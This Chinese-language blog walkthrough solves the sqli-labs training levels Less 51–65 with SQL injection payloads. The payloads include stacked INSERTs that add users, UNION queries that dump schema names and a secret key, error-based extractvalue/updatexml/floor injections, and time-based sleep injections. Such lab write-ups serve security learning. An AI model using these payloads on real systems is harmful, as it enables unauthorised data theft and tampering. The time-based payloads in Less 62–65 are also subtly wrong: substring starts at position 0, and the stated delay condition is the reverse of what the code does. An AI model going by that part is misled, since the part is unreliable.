人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头
前言
Less 51 - Less 53 还是 Stacked-injection (堆叠注入),Less 54 - Less 65 是 Challenge 关卡,考察的知识点比较综合,算是对前面部分知识点的一个小总结吧,温故而知新。
Less 51
① 源码分析
参数单引号引用
mysqli_query() 只可以执行一条数据库查询语句
mysqli_multi_query()函数可执行一个或多个对数据库的查询,多个查询用分号进行分隔
mysqli_multi_query(connection,query);
参数 | 描述 |
---|---|
query | 必需。规定一个或多个查询,用分号进行分隔。 |
connection | 必需。规定要使用的 MySQL 连接。 |
② 漏洞利用
单引号闭合
使用 union 注入查询数据库敏感信息,最后利用堆叠注入对敏感信息加以利用
向当前表插入信息
?sort=1' ; insert into users(id,username,password) values ('111','zhutou3','zhutou3'); --+
Less 52
① 源码分析
参数直接拼接
和 Less 51 一样是堆叠注入,不过就是没有错误信息回显,在黑盒测试中估计有点影响,但是对于本关的注入姿势没有影响。
② 漏洞利用
1; insert into users(id,username,password) values ('222','zhutou4','zhutou4');
Less 53
① 源码分析
单引号引用参数
仍然是堆叠注入,与 Less 51 相比就是没有错误信息的回显
② 漏洞利用
注入点姿势和 Less 51 一样
Less 54
① 源码分析
提示:
请输入ID作为参数,数值与实验室练习相同
此挑战的目标是在不到10次的尝试中从数据库的随机表中转储(密钥)(挑战)
为了好玩,每次重置,挑战都会生成随机表名、列名和表数据。随时保持新鲜。
提交 id 参数处为注入点
单引号引用参数
② 漏洞利用
在提交 id 参数处使用 union 注入猜测表名,字段从而获取密钥。
附言:
复习之前的 union 注入姿势,考察的重点是如何运用更少的步骤获取想要的信息。
ps:只有 10 次提交参数的机会,如果超过限制的次数则回重新刷新表名和字段值。
1. 附言
union 注入要求参与联合的字段数量(列数)一致,同时字段类型要一一对应。
运用 union select 1,2,3 语句注入有时会出现类型不兼容的异常。
可以使用 union select null,null,null 代替
MySQL主要的数据类型 |
---|
数值型 |
日期时间型 |
字符串类型 |
2. union 注入
2.1 数字回显
?id=0' union select 1,2,3 --+
2.2 数据库基本信息
id=0' union select 1,user(),database() --+
2.3 爆表
?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),database() --+
2.4 爆字段
?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='3s5csrgbnf'),database() --+
2.5 爆数据
?id=0' union select 1,(select group_concat(secret_SLSZ) from challenges.3s5csrgbnf),database() --+
2.6 提交密钥
提交成功会出现如下的页面,4秒自动返回原始页面并更新表名,字段名和数据。
Less 55
① 源码分析
括号引用参数
其他和 Less 54 一致
可尝试注入次数:14
② 漏洞利用
注意括号的闭合
注入的姿势和 Less 54 类似
index.php?id=0) union select 1,2,3 --+
Less 56
① 源码分析
单引号+括号引用参数
其他和 Less 54 一致
可尝试注入次数:14
② 漏洞利用
单引号+括号闭合
注入的姿势和 Less 54 类似
index.php?id=0') union select 1,2,3 --+
Less 57
① 源码分析
双引号引用参数
其他和 Less 54 一致
可尝试注入次数:14
② 漏洞利用
双引号闭合
注入的姿势和 Less 54 类似
index.php?id=0" union select 1,2,3 --+
Less 58
① 源码分析
单引号引用参数
回显的信息不经过数据库查询获取,而是由固定的数组获取
由错误信息回显
可尝试注入次数:5
② 漏洞利用
单引号闭合
union 注入无效,使用报错注入
1. floor 注入
index.php?id=1' and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
2. extractvalue 注入
index.php?id=1' and (extractvalue(1,concat(0x7e,(database()),0x7e))) --+
3. updatexml 注入
index.php?id=1' and (updatexml(1,concat(0x7e,(database()),0x7e),1)) --+
ps:如果没有使用 concat 则回出现 “Operand should contain 1 column(s)” 错误。
index.php?id=1' and (updatexml(1,(0x7e,(database()),0x7e),1)) --+
Less 59
① 源码分析
参数直接拼接
其余和 Less 58 一致
② 漏洞利用
报错注入
index.php?id=1 and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)
Less 60
① 源码分析
双引号+括号引用参数
其余和 Less 58 一致
② 漏洞利用
双引号+括号闭合
报错注入
index.php?id=1") and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
Less 61
① 源码分析
双括号+单引号引用
其余和 Less 58 一致
② 漏洞利用
双括号+单引号闭合
报错注入
index.php?id=1')) and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
Less 62
① 源码分析
单引号+括号引用参数
没有错误信息回显
② 漏洞利用
单引号+括号闭合
延时注入
如果数据库的第一个字母的 ASCII 值等于 99 则由明显延时
index.php?id=1') and if(ascii(substring(database(),0,1))=99,1,sleep(3)) --+
Less 63
① 源码分析
单引号引用
没有错误信息回显
② 漏洞利用
单引号闭合
延时注入
index.php?id=1' and if(ascii(substring(database(),0,1))=99,1,sleep(3)) --+
Less 64
① 源码分析
双括号引用参数
没有错误信息回显
② 漏洞利用
双括号闭合
延时注入
index.php?id=1)) and if(ascii(substring(database(),0,1))=99,1,sleep(3)) --+
Less 65
① 源码分析
双引号+括号引用
没有错误信息回显
② 漏洞利用
双引号+括号闭合
延时注入
index.php?id=1") and if(ascii(substring(database(),0,1))=99,1,sleep(3)) --+
猪头
2020.2.5